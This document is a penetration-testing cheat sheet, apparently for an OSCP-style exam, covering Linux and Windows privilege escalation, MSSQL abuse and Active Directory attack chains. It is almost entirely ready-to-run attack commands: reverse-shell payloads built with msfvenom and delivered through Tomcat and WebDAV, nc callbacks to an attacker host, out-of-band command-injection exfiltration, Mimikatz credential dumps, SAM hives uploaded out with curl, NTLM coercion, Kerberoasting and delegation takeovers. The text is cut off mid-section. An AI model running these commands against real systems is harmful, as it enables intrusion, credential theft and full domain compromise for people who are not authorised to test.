| Command injection: ; | || && ` $() | Appends your own OS command to an app's. | Any input that reaches a shell (ping, DNS lookup, file conversion). Test the separators one by one. |
| curl http://<LHOST>/?x=$(id|base64) | Confirms blind command injection out-of-band. | When the app runs your command but shows no output — watch your own web server logs for the callback. |
| Upload bypasses (MIME, GIF89a, .pHp, .phtml) | Slips a webshell past a weak upload filter. | Try them in order whenever an upload is blocked: change Content-Type → prepend magic bytes → change/alternate extension. |
| linpeas.sh | Automated Linux local-enum script. | Immediately after your foothold. Treat red/yellow lines as leads, then verify each by hand — it finds clues, you connect them. |
| whoami && id && hostname | Establishes who/where you are. | First command in every shell. Anchors your notes and proves your proof screenshots. |
| uname -a && cat /etc/os-release | Kernel + distro version. | To match a kernel exploit — but only as a last resort, after sudo/SUID/cron are exhausted. |
| env | grep -i "pass\|key\|token" | Searches environment variables for secrets. | Early in privesc. Apps and systemd units sometimes inject creds into the environment. |
| cat ~/.bash_history (+ other homes) | Reads command history. | Every time. Users type passwords into the shell and run admin commands — history is a gold mine. |
| sudo -l | Lists commands you may run as root. | The very first privesc check. Any allowed binary → look it up on GTFOBins. |
| find / -perm -4000 -type f | Finds SUID binaries. | Right after sudo -l. Any known binary (or custom one you can abuse) on GTFOBins = root. |
| getcap -r / 2>/dev/null | Lists file capabilities. | When sudo/SUID come up empty. cap_setuid+ep on python/perl = instant root. |
| cat /etc/crontab; ls -la /etc/cron.* | Reads scheduled jobs. | Look for a root-run script in a directory you can write to — append a reverse shell and wait. |
| openssl passwd -1 + >> /etc/passwd | Creates a hash and appends a new root user. | When /etc/passwd is writable — rare but instant root. |
| NFS no_root_squash → SUID bash | Mounts the export and drops a root-owned SUID shell. | When showmount//etc/exports shows no_root_squash. Do the mounting from your own Kali as root. |
| docker run -v /:/mnt … chroot | Mounts the host filesystem and drops into it as root. | id | grep docker shows you're in the docker group — group membership is effectively root. |
| ss -tlnp | Shows listening TCP sockets and owning processes. | Post-foothold. Reveals local-only services (DB, admin API) that become attack surface via a port-forward. |
| ldd --version | Shows the glibc version. | Early on newer Ubuntu 22.04+/Debian 12 boxes — glibc 2.34–2.39 is Looney Tunables (CVE-2023-4911) → local root. |
PHP filter chains (LFI → RCE without a log). When you have LFI but can't poison a log, you can still reach RCE by chaining php://filter conversions to synthesise a payload in memory (the "php_filter_chain_generator" technique). It reliably converts a plain file-read into code execution on PHP ≥ 7.
# Generate a filter chain that outputs <?php system($_GET['cmd']); ?>
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
# Feed the generated php://filter/… string into the vulnerable ?file= parameter,
# then call it: /index.php?file=<CHAIN>&cmd=id
Unix socket & env-keep abuse. Check for a local service exposed over a unix socket (socat stdio unix-connect:/opt/app/live.sock) — it often grants a shell as that service user. And if sudo -l shows env_keep+=PYTHONPATH, drop a malicious module on your path and it runs as root.
Writable systemd units & PATH hijack. A root-run service whose .service file (or a binary it calls without a full path) is writable by you is the modern equivalent of a writable cron script. Check systemctl list-units, /etc/systemd/system/ and find / -writable -name "*.service".
Standalone Windows Box Methodology
Windows Initial Access
# EternalBlue MS17-010:
nmap --script smb-vuln-ms17-010 -p 445 <TARGET_IP>
# Tomcat Manager WAR deploy:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f war -o shell.war
curl -u admin:admin -T shell.war "http://<IP>:8080/manager/text/deploy?path=/shell"
curl http://<IP>:8080/shell/
# WebDAV:
davtest -url http://<TARGET_IP>
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f aspx -o shell.aspx
curl -T shell.aspx http://<TARGET_IP>/uploads/shell.aspx
# WinRM:
evil-winrm -i <TARGET_IP> -u Administrator -p 'Password123'
evil-winrm -i <TARGET_IP> -u Administrator -H <NTLM_HASH>
Windows Privilege Escalation
Same idea as Linux, different doors. You're a normal Windows user hunting for a path to SYSTEM (Windows' equivalent of root). Run winPEAS first, then check these in order:
1. Token privileges — run whoami /priv. If you see SeImpersonatePrivilege, you almost certainly win with a "Potato" exploit. 2. Service misconfigs — unquoted service paths or services you can modify let you run code as SYSTEM. 3. Stored credentials — unattend.xml, registry autologon, saved PowerShell history, web.config. 4. Missing patches — old kernels are vulnerable to known exploits.
First thing to type every time: whoami /priv and whoami /groups. They often hand you the answer in seconds.
Token Privileges (whoami /priv)
| Privilege | Exploit Path |
|---|---|
| SeImpersonatePrivilege | GodPotato / PrintSpoofer / JuicyPotatoNG → SYSTEM |
| SeAssignPrimaryToken | GodPotato / JuicyPotato → SYSTEM |
| SeBackupPrivilege | Read SAM/NTDS → dump hashes |
| SeDebugPrivilege | Dump LSASS → hashes |
| SeLoadDriverPrivilege | Load malicious driver → SYSTEM |
# GodPotato (SeImpersonate):
.\GodPotato-NET4.exe -cmd "cmd /c net user hax Password123! /add && net localgroup administrators hax /add"
# PrintSpoofer:
.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe <LHOST> 4444 -e cmd"
# AlwaysInstallElevated (check BOTH keys = 1):
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f msi -o evil.msi
msiexec /quiet /qn /i C:\Temp\evil.msi
# Autologon creds in registry:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# PowerShell history (GOLD MINE):
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Stored credentials:
cmdkey /list
runas /savecred /user:Administrator "C:\Temp\nc.exe <LHOST> 4444 -e cmd" # needs ncat/ncat build
# Unquoted service paths:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\"
Dump Credentials (Windows Post-Exploitation)
# Mimikatz:
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
lsadump::lsa /patch
# Remote SAM dump:
secretsdump.py <DOMAIN>/<USER>:<PASS>@<TARGET_IP>
nxc smb <TARGET_IP> -u user -p pass --sam
nxc smb <TARGET_IP> -u user -p pass -M lsassy
| Command | What it does | When & why you run it |
|---|---|---|
| nmap --script smb-vuln-ms17-010 | Checks for EternalBlue. | Against old Windows (7 / 2008 R2). A positive result is a one-shot SYSTEM shell — check it the moment you see SMB on an old build. |
| msfvenom -f war + Tomcat /manager deploy | Packages a JSP reverse shell as a WAR and deploys it via Tomcat's manager. | Port 8080 with /manager reachable and default (tomcat:tomcat/admin:admin) or found creds. Deploy → browse → shell. |
| davtest + curl -T shell.aspx | Tests WebDAV for upload, then pushes an ASPX shell. | When OPTIONS/PROPFIND shows WebDAV enabled. If the folder is writable you get a shell as the IIS service account. |
| evil-winrm -i -u -p / -H <hash> | Interactive PowerShell over WinRM. | Ports 5985/5986 with valid creds or an NTLM hash. Preferred over psexec — no service dropped, no AV noise. |
| whoami /priv & /groups | Lists your token privileges and group memberships. | First command after any Windows foothold. SeImpersonate → Potato to SYSTEM; SeBackup/SeDebug → dump creds; membership may already be enough. |
| GodPotato / PrintSpoofer / JuicyPotatoNG | Abuses SeImpersonate to create a SYSTEM token. | When whoami /priv shows SeImpersonatePrivilege. Prefer GodPotato on modern builds (it works via DCOM without a CLSID), PrintSpoofer when the Spooler service is running, JuicyPotato on older OSes. |
| reg query …AlwaysInstallElevated (both hives) | Checks the MSI-as-SYSTEM policy. | When privesc is otherwise dry. Both HKLM and HKCU must be 1 — then your msfvenom … -f msi runs as SYSTEM. |
| reg query …Winlogon | Reads autologon settings. | Hunt for a plaintext DefaultPassword. Cheap check, occasional jackpot. |
| type ConsoleHost_history.txt | Reads PowerShell command history. | Every time. Admins type passwords and paths here — it frequently contains credentials or the exact exploit path. |
| cmdkey /list + runas /savecred | Lists stored credentials and reuses them. | When a saved credential exists — runas /savecred executes as that user without you knowing the password. |
| wmic service get … findstr "auto" | Finds auto-start services, surfacing unquoted paths. | Look for a path with a space and a writable directory — drop your binary and it runs as SYSTEM on next start. |
| mimikatz sekurlsa::logonpasswords | Dumps LSASS memory (cleartext + hashes of logged-in users). | After local admin/SYSTEM. Catches domain accounts that logged in interactively — often your bridge to the next machine. |
| lsadump::sam / lsadump::secrets | Dumps local account hashes and LSA secrets. | For local-admin hash reuse and service-account passwords. Always loot these after escalating. |
| secretsdump.py / nxc --sam / -M lsassy | Dumps SAM/LSASS remotely without dropping Mimikatz. | When you have admin creds/hash and want creds fast but quieter. lsassy needs no binary on disk. |
Potato selection matters now. Old guides say "JuicyPotato" — on current builds that fails. Pick in this order: GodPotato (SeImpersonate, works almost everywhere, no CLSID needed) → PrintSpoofer (Spooler running) → JuicyPotatoNG (older, or when GodPotato is blocked).
SeBackupPrivilege → read anything. If whoami /priv shows SeBackupPrivilege or SeRestorePrivilege, you can copy SAM/SYSTEM (and on a DC, ntds.dit) even without admin, using diskshadow or plain robocopy /b:
# SeBackupPrivilege → extract SAM + SYSTEM via a shadow copy:
diskshadow /s script.txt # script.txt: set context persistent nowriters
# add volume c: alias c
# create / expose %SystemDrive% x
robocopy /b X:\Windows\System32\config C:\Temp sam # + system
# Then dump offline: secretsdump.py -sam sam -system system LOCAL
SeDebugPrivilege / SeTakeOwnership are equally useful: SeDebug → dump LSASS; SeTakeOwnership → take any file/registry key and rewrite a service binary. Check all of whoami /priv, not just SeImpersonate.
Defender & AMSI are real on some boxes. If your PowerShell payload gets blocked, don't panic — use an AMSI bypass, or deliver the payload as a signed-looking binary / via IEX from your own server. Full playbook is in Section 22 — Payload Delivery, AV & AMSI.
Active Directory Attack Chains
stephanie:Password123@corp.local). You are already a low-priv domain user. Enumerate AD immediately.
These are working notes from a 3-machine AD set. The path is: land on Machine 1 as a normal user → escalate locally → use MSSQL / SMB / WinRM to move to Machine 2 → repeat → reach Machine 3 (the DC) and confirm Admin access.
Try every nxc combo. A credential that fails on SMB may still work on WinRM, RDP, MSSQL or SSH — and don't forget --local-auth.
MSSQL — Enumeration & Exploitation
Discovery / Login
nxc mssql 10.0.2.4 -u USER -p PASS
nxc mssql 10.0.2.4 -u USER -p PASS --local-auth
nxc mssql 10.0.2.4 -u users.txt -p pass.txt
nxc mssql 10.0.2.4 -u users.txt -p pass.txt --local-auth
Connect with mssqlclient (Impacket):
impacket-mssqlclient USER:PASS@10.0.2.4
impacket-mssqlclient USER:PASS@10.0.2.4 -windows-auth
impacket-mssqlclient -k 10.0.2.4 # kerberos
Basic Enumeration
SELECT @@version;
SELECT system_user;
SELECT is_srvrolemember('sysadmin');
SELECT name FROM sys.databases;
EXEC sp_helpdb;
Check the current user's privileges:
nxc mssql 10.0.2.4 -u USER -p PASS -M mssql_priv
Enable & Use xp_cmdshell
Needs sysadmin or the relevant config access:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Via nxc directly:
nxc mssql 10.0.2.4 -u USER -p PASS -x "whoami"
nxc mssql 10.0.2.4 -u USER -p PASS -X "whoami" # powershell
Command Execution → Shell
nxc mssql 10.0.2.4 -u USER -p PASS -x "powershell -e <base64_rev_shell>"
Or drop a payload and catch a listener (nc / msfconsole) as with any RCE.
Impersonation Abuse
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
Impersonate a higher-priv login (often sa):
EXECUTE AS LOGIN = 'sa';
SELECT is_srvrolemember('sysadmin'); -- confirm it is now 1
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- now works as sa
Linked Servers (lateral movement between SQL instances)
SELECT srvname FROM sysservers;
EXEC sp_linkedservers;
SELECT * FROM openquery("LINKED-SERVER-NAME", 'select @@version');
EXEC ('xp_cmdshell ''whoami''') AT [LINKED-SERVER-NAME];
nxc can walk the link chain automatically:
nxc mssql 10.0.2.4 -u USER -p PASS -M mssql_priv -o ACTION=privesc
Capture NTLM Hash / Coerce Auth (xp_dirtree / xp_subdirs)
EXEC master..xp_dirtree '\\<attacker_ip>\share';
EXEC master..xp_subdirs '\\<attacker_ip>\share';
Start a listener first:
responder -I eth0
# or
impacket-smbserver share . -smb2support
Read / Write Files (sysadmin context)
EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt';
Or via OLE Automation if xp_cmdshell is disabled and cannot be re-enabled:
sp_configure 'show advanced options', 1; RECONFIGURE;
sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @obj INT;
EXEC sp_oacreate 'scripting.filesystemobject', @obj OUTPUT;
EXEC sp_oamethod @obj, 'copyfile', NULL, 'C:\src.txt', 'C:\dst.txt';
MSSQL → OS Account Mapping
The service account running MSSQL is often a domain account with other access. Once xp_cmdshell works, treat it like any other foothold: run winPEAS, check whoami /priv (SeImpersonate is common on service accounts → Potato exploit → SYSTEM), dump credentials, and pivot further.
whoami /priv — Exploitable Privileges Reference
Whenever you run whoami /priv, watch for these privileges — they are exploitable:
| Privilege | What it gives you | Exploit method |
|---|---|---|
SeImpersonatePrivilege | Impersonate a token (any authenticated user/SYSTEM token) | Potato family — JuicyPotato, PrintSpoofer, RoguePotato, GodPotato, SharpEfsPotato → direct SYSTEM shell |
SeAssignPrimaryTokenPrivilege | Assign a primary token to a new process | Same Potato-family exploits (often paired with SeImpersonate) |
SeBackupPrivilege | Read any file, bypassing ACLs | Copy SAM/SYSTEM hives, ntds.dit, or any sensitive file → dump hashes offline with secretsdump |
SeRestorePrivilege | Write any file, bypassing ACLs | Overwrite service binaries/DLLs, replace utilman.exe/sethc.exe for a sticky-keys backdoor → SYSTEM |
SeTakeOwnershipPrivilege | Take ownership of any object | takeown /f <file> on a protected file/service binary, then modify the ACL and replace it → SYSTEM |
SeDebugPrivilege | Debug/open a handle to any process | Inject into or dump a SYSTEM process (e.g. lsass.exe via mimikatz, or process hollowing) |
SeLoadDriverPrivilege | Load/unload kernel drivers | Load a vulnerable signed driver (e.g. Capcom.sys) for kernel-level code execution → SYSTEM |
SeTcbPrivilege | Act as part of the OS | Impersonate SYSTEM directly via token manipulation |
SeCreateTokenPrivilege | Create arbitrary tokens | Craft a token with SYSTEM/admin privileges and assign it to a process |
SeManageVolumePrivilege | Manage volume/disk permissions | Bypass file ACLs at the volume level to read/write protected files |
SeRelabelPrivilege | Change object integrity labels | Lower the integrity label on a protected object to bypass restrictions |
SeCreateGlobalPrivilege | Create objects in the global namespace | Used in some named-pipe / shared-section privesc chains |
SeTrustedCredManAccessPrivilege | Access Credential Manager stored creds | Dump saved credentials via vaultcmd/mimikatz |
SeSyncAgentPrivilege | Read all AD object data (DC only) | Used in some DCSync-adjacent attack chains |
SeEnableDelegationPrivilege | Enable delegation for computer/user accounts (DC) | Abuse unconstrained/constrained delegation setup for privesc |
whoami /priv→ check the highlighted privileges (orwhoami /all).SeImpersonate/SeAssignPrimaryToken→ go straight to the Potato exploits (easiest win).SeBackup/SeRestore→ try a hive dump or a binary overwrite.SeDebug→ dump LSASS (mimikatz/procdump).SeLoadDriver→ load a vulnerable driver and go for kernel code execution.- A useful privilege may be present but disabled — enable it with PowerUp's
Enable-Privilegeor Mimikatz'sprivilege::debugapproach.
Machine 1 — PrivEsc
Nmap Scans
TCP
sudo nmap -p- --min-rate 1000 -Pn -n 192.168.108.206 -sC -sV -v
Results:
UDP
sudo nmap -sU --min-rate 1000 --top-ports 100 -Pn -n 192.168.108.206 -sC -sV -v
Results:
Enumeration of All Services
80:445:
Local Checks
Log in with the initial creds over RDP:
xfreerdp /v:10.0.2.36 /u:USER /p:PASS /dynamic-resolution +clipboard /drive:tmp,/tmp
whoami /groupswhoami /priv— SeImpersonate, SeBackup, or anything elsecmdkey /listget-history(Get-PSReadlineOption).HistorySavePath
type C:\Users\r.andrews\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
- Home directory —
ls -forceon all folders C:\directory —ls -forcenetstat -ano— look for127.0.0.1ports- Look for
C:\windows.old,C:\Windows\repair, andC:\Windows\System32\config\RegBack
PowerUp Quick Checks
Upload PowerUp.ps1, start PowerShell in bypass mode:
powershell -ep bypass
Run PowerUp:
.\PowerUp.ps1
Invoke-AllChecks
PEAS — Enumerate Everything
Upload the binary, then run:
.\winpeas.exe | tee ad-1-out.txt
Exploitation
(TBD)
Machine 2 — Lateral Movement
Deploy Ligolo
Deploy ligolo-ng to reach internal hosts.
Start Ligolo on Kali:
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ligolo-proxy -selfcert
Move agent.exe into /tmp and copy it to your home dir, or curl it:
curl http://192.168.45.177/agent.exe -o agent.exe
Connect:
.\agent.exe -connect 192.168.45.154:11601 -ignore-cert
Start the session on the Kali box:
session
start
Add a route to access internal hosts (new tab):
sudo ip route add 10.10.200.0/24 dev ligolo
Add a listener for later download/upload:
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:80
Nmap Scans
TCP
sudo nmap -p- --min-rate 1000 -Pn -n 172.16.108.202 -sC -sV
Services
UDP
sudo nmap -sU --min-rate 1000 --top-ports 100 -Pn -n 172.16.108.202 -sC -sV -v
Check for Passwords in User Description Fields
nxc ldap 10.0.2.4 -u USER -p PASS --users
Check All SMB Shares
Spray:
nxc smb 10.0.2.4-5 -u USER -p PASS --shares
Enumerate each one:
smbclient //10.0.2.9/netlogon -U USER PASS
Mimikatz — logonpasswords, secrets, cache, SAM
Upload it to the RDP session by moving it into /tmp. Run as admin:
.\mimikatz.exe
Get logon passwords:
privilege::debug
sekurlsa::logonpasswords
Get the LSA cache and secrets (if admin but not SYSTEM, elevate first):
token::elevate
lsadump::cache
lsadump::secrets
SAM Dump
Save the files:
reg save hklm\system system
reg save hklm\sam sam
Set up a Python upload server:
python -m uploadserver 80
Copy the files over:
curl -F "files=@sam" http://10.0.2.15/upload
curl -F "files=@system" http://10.0.2.15/upload
Dump the hashes from SAM:
impacket-secretsdump -sam sam -system system LOCAL
Try authenticating with the admin hash:
nxc winrm 10.0.2.4 -u admin -H d
nxc rdp 10.0.2.4 -u admin -H d
BloodHound — Kerberoast, AS-REP Roast, Shortest Path to DA
Run bloodhound-python.
Get the time from the DC:
net time -I 10.10.127.140
Run the BloodHound collector, using a fake time to avoid clock-skew issues:
faketime '2026-07-31 18:46:20 UTC' COMMAND
bloodhound-python -u USER -p PASS -d DOMAIN -dc DC01.DOMAIN -ns 10.10.200.152 --dns-tcp -c All --zip -op c
Open in BloodHound: Kerberoast, AS-REP roast, shortest path to Domain Admins, and check permissions for owned accounts.
Check PSHistory for All Users
type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt
Further Creds — Juggernaut + winPEAS Fast Mode + Manual Checks
Reference: juggernaut-sec.com/password-hunting
winpeas.exe --fast | tee out.txt
Gather All Domain Usernames
unzip x.zip
cat TEST_20260823145146_users.json | jq -r '.data[].Properties.samaccountname' > users.txt
Try All Creds with nxc (also try --local-auth)
nxc winrm 10.0.2.4 -u users.txt -p pass.txt
nxc winrm 10.0.2.4 -u users.txt -p pass.txt --local-auth
nxc mssql 10.0.2.4 -u users.txt -p pass.txt
nxc mssql 10.0.2.4 -u users.txt -p pass.txt --local-auth
nxc rdp 10.0.2.4 -u users.txt -p pass.txt
nxc rdp 10.0.2.4 -u users.txt -p pass.txt --local-auth
nxc ssh 10.0.2.4 -u users.txt -p pass.txt
nxc smb 10.0.2.4 -u users.txt -H hash
Machine 2 — PrivEsc
Local Checks
whoami /groupswhoami /priv— SeImpersonate, SeBackup, or anything elsecmdkey /listget-history(Get-PSReadlineOption).HistorySavePath
type C:\Users\r.andrews\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
- Home directory —
ls -forceon all folders C:\directory —ls -forcenetstat -ano— look for127.0.0.1ports- Look for
C:\windows.old,C:\Windows\repair, andC:\Windows\System32\config\RegBack
PowerUp Quick Checks
powershell -ep bypass
.\PowerUp.ps1
Invoke-AllChecks
PEAS — Enumerate Everything
.\winpeas.exe | tee ad-2-out.txt
Exploitation
(TBD)
Machine 3 — Admin Access
- BloodHound — check permissions for owned accounts
- Check for DCSync
Mimikatz — logonpasswords, secrets, cache, SAM
Upload it to the RDP session by moving it into /tmp. Run as admin:
.\mimikatz.exe
Get logon passwords:
privilege::debug
sekurlsa::logonpasswords
Get the LSA cache and secrets (if admin but not SYSTEM, elevate first):
token::elevate
lsadump::cache
lsadump::secrets
SAM Dump
Save the files:
reg save hklm\system system
reg save hklm\sam sam
Set up a Python upload server:
python -m uploadserver 80
Copy the files over:
curl -F "files=@sam" http://10.0.2.15/upload
curl -F "files=@system" http://10.0.2.15/upload
Dump the hashes from SAM:
impacket-secretsdump -sam sam -system system LOCAL
Try authenticating with the admin hash:
nxc winrm 10.0.2.4 -u admin -H d
nxc rdp 10.0.2.4 -u admin -H d
Nmap Scans
TCP
sudo nmap -p- --min-rate 1000 -Pn -n 192.168.155.149 -sC -sV
UDP
sudo nmap -sU --min-rate 1000 --top-ports 100 -Pn -n 192.168.155.149 -sC -sV
Check PSHistory for All Users
type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt
Further Creds — Juggernaut + winPEAS Fast Mode + Manual Checks
Reference: juggernaut-sec.com/password-hunting
winpeas.exe --fast | tee out.txt
Gather All Domain Usernames
unzip x.zip
cat TEST_20260823145146_users.json | jq -r '.data[].Properties.samaccountname' > users.txt
Try All Creds with nxc (also try --local-auth)
nxc winrm 10.0.2.4 -u users.txt -p pass.txt
nxc winrm 10.0.2.4 -u users.txt -p pass.txt --local-auth
nxc mssql 10.0.2.4 -u users.txt -p pass.txt
nxc mssql 10.0.2.4 -u users.txt -p pass.txt --local-auth
nxc rdp 10.0.2.4 -u users.txt -p pass.txt
nxc rdp 10.0.2.4 -u users.txt -p pass.txt --local-auth
nxc ssh 10.0.2.4 -u users.txt -p pass.txt
nxc smb 10.0.2.4 -u users.txt -H hash
AD Exam Scenarios — Every Box Type
Section 5 gives you the AD attack chain and the commands. This section gives you the "box" itself — for every major AD misconfiguration, what it actually looks like when you land on it in the exam (which BloodHound edge, which nxc/ldap output, which attribute), so you can pattern-match instantly instead of re-deriving it under pressure. Read these once before the exam; re-read the matching card the moment you spot the indicator.
Each card = Recognize it (the tell) → Scenario (a realistic exam-style setup) → Exploit (commands) → Result (what you walk away with).
Recognize it: A plain LDAP/ldapsearch dump of user descriptions shows a readable password sitting in plaintext — admins use the field as a personal note ("temp pw: Summer2024!", "reset by helpdesk — Passw0rd").
Scenario: You have low-priv creds (stephanie:Password123) on corp.local. BloodHound shows nothing obviously exploitable for stephanie herself. You dump every user's description field and one account has its password written in plain sight.
ldapsearch -x -H ldap://192.168.x.100 -D "stephanie@corp.local" -w 'Password123' \
-b "DC=corp,DC=local" "(&(objectClass=user)(description=*))" sAMAccountName description
# or with nxc:
nxc ldap 192.168.x.100 -u stephanie -p 'Password123' -M get-desc-users
Result: A second, often more privileged, set of valid creds — re-run BloodHound as this new user before doing anything else.
Recognize it: BloodHound's "Find AS-REP Roastable Users" query returns a hit, or the account's userAccountControl has DONT_REQ_PREAUTH set. Often a service/legacy account someone disabled pre-auth on to fix a compatibility issue and forgot about.
Scenario: BloodHound flags svc_backup as AS-REP roastable. You don't even need valid creds to request the ticket for it — a valid username guess is enough.
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip 192.168.x.100 \
-request -format hashcat -outputfile asrep.txt
# with creds instead of a userlist:
GetNPUsers.py corp.local/stephanie:'Password123' -dc-ip 192.168.x.100 -request -format hashcat
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Result: Cracked plaintext password for svc_backup — check its group memberships immediately, service accounts are frequently local admin somewhere.
Recognize it: BloodHound's "Find Kerberoastable Users" lights up, or setspn -Q */* / nxc ldap --kerberoasting returns an account with an SPN set that isn't krbtgt. Any authenticated user can request a ticket for it.
Scenario: sqlsvc has an SPN registered for MSSQL. You request its service ticket with your existing low-priv creds and crack it offline.
GetUserSPNs.py corp.local/stephanie:'Password123' \
-dc-ip 192.168.x.100 -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
Result: Cracked service account password — same rule as AS-REP: check what it's local admin on before moving further.
Recognize it: A Groups.xml, ScheduledTasks.xml, or Services.xml sits under a Group Policy folder in \\corp.local\SYSVOL\corp.local\Policies\... and contains a cpassword="..." attribute — leftover from Group Policy Preferences, which Microsoft's AES key for this was published years ago, so it decrypts instantly. Any authenticated user can read SYSVOL.
Scenario: An old GPO was used to push a local admin password to workstations via GPP and was never cleaned up after the feature was deprecated.
# Mount/list SYSVOL and search:
smbclient //192.168.x.100/SYSVOL -U stephanie%Password123 -c 'recurse;ls'
# or automated:
nxc smb 192.168.x.100 -u stephanie -p 'Password123' -M gpp_password
# or:
Get-GPPPassword.py -u stephanie -p 'Password123' -d corp.local -dc-ip 192.168.x.100
# manual decrypt if you only have the cpassword blob:
gpp-decrypt '<cpassword blob>'
Result: Plaintext local-admin (or domain) password, decrypted instantly — no cracking needed.
Recognize it: BloodHound draws an edge from a user/group you control straight to another principal — GenericAll, GenericWrite, WriteOwner, WriteDACL, or ForceChangePassword. This is the single most common OSCP AD privesc path: someone was given helpdesk-style rights over an object and it was never scoped correctly.
Scenario: stephanie has GenericAll over user jdoe (a Domain Admin). No cracking required — you can just reset jdoe's password directly.
# ForceChangePassword / GenericAll → reset target's password:
net rpc password "jdoe" "NewP@ssw0rd!" -U corp.local/stephanie%Password123 -S 192.168.x.100
# or:
bloodyAD --host 192.168.x.100 -d corp.local -u stephanie -p Password123 \
set password jdoe 'NewP@ssw0rd!'
# GenericAll over a GROUP → add yourself to it:
net rpc group addmem "Domain Admins" "stephanie" -U corp.local/stephanie%Password123 -S 192.168.x.100
# WriteDACL → grant yourself the right to add members to a privileged group:
dacledit.py -action write -rights WriteMembers -principal stephanie \
-target-dn "CN=Domain Admins,CN=Users,DC=corp,DC=local" \
corp.local/stephanie:Password123 -dc-ip 192.168.x.100
net rpc group addmem "Domain Admins" "stephanie" -U corp.local/stephanie%Password123 -S 192.168.x.100
Result: Direct takeover of the target account/group — often the shortest path straight to Domain Admin, no delegation or Kerberos abuse needed.
Recognize it: BloodHound's "Computers with Unconstrained Delegation" shows a machine (often a print server, IIS box, or misconfigured app server — not the DC). Any account that authenticates to this machine has its full TGT cached in memory on it.
Scenario: APP01$ has unconstrained delegation. If you get admin on APP01 and coerce the DC (or wait for a DA) to authenticate to it, their TGT lands in memory for you to grab.
# On APP01, once you're admin, start monitoring for tickets:
Rubeus.exe monitor /interval:5 /filteruser:DC01$
# Coerce the DC to auth to you (PrinterBug / PetitPotam):
python3 printerbug.py corp.local/stephanie:Password123@192.168.x.100 APP01.corp.local
# Rubeus captures DC01$'s TGT → inject it (pass-the-ticket):
Rubeus.exe ptt /ticket:<base64 TGT>
Result: A captured Domain Controller machine-account TGT → pass-the-ticket → act as the DC machine account and own the domain.
Recognize it: BloodHound's "Find Computers with Constrained Delegation" shows a machine/service account whose msDS-AllowedToDelegateTo attribute lists a specific SPN (e.g. cifs/DC01). You control the delegating account.
Scenario: WEBSVC$ can delegate to cifs/DC01.corp.local. You've compromised WEBSVC's password/hash — that lets you impersonate any user (including Administrator) to that one service.
getST.py -spn cifs/DC01.corp.local -impersonate Administrator \
-dc-ip 192.168.x.100 corp.local/WEBSVC$:'password_or_hash'
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
Result: A ticket that lets you act as Administrator against the allowed SPN — usually enough to psexec/wmiexec straight onto the DC.
Recognize it: You have GenericAll/GenericWrite/WriteProperty over a computer object, OR you can create machine accounts (default MachineAccountQuota is 10 per user) and there's a target machine you want to land on. Unlike classic delegation, the target object controls who may delegate to it via msDS-AllowedToActOnBehalfOfOtherIdentity.
Scenario: Low-priv stephanie has GenericWrite over computer FILESRV$. She creates a fake machine account, points FILESRV's RBCD attribute at it, then impersonates Administrator through that fake machine to FILESRV.
# 1. Create a machine account you control (uses your MAQ):
addcomputer.py -computer-name 'FAKE01$' -computer-pass 'P@ssw0rd123!' \
-dc-host DC01.corp.local corp.local/stephanie:Password123
# 2. Set FAKE01$ as trusted to delegate to FILESRV$:
rbcd.py -delegate-from 'FAKE01$' -delegate-to 'FILESRV$' -action write \
-dc-ip 192.168.x.100 corp.local/stephanie:Password123
# 3. S4U2Proxy — impersonate Administrator through FAKE01$ onto FILESRV:
getST.py -spn cifs/FILESRV.corp.local -impersonate Administrator \
-dc-ip 192.168.x.100 corp.local/FAKE01$:'P@ssw0rd123!'
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass corp.local/Administrator@FILESRV.corp.local
Result: Full admin access to the target computer as Administrator — one of the most reliable "I have write access to a computer object" wins.
Recognize it: Same ACL edge as card 05 (GenericAll/GenericWrite/AddKeyCredentialLink) but over a target where a password reset would be too noisy/break something, or where you want a stealthier, key-based takeover instead. Works because Windows lets you authenticate via a certificate registered on the account's msDS-KeyCredentialLink attribute (PKINIT).
Scenario: stephanie has GenericWrite over jdoe. Instead of resetting jdoe's password (which locks jdoe out and alerts them), she attaches her own certificate to jdoe's account and authenticates as jdoe with it — jdoe's real password never changes.
# Add a shadow credential and get a usable cert for jdoe:
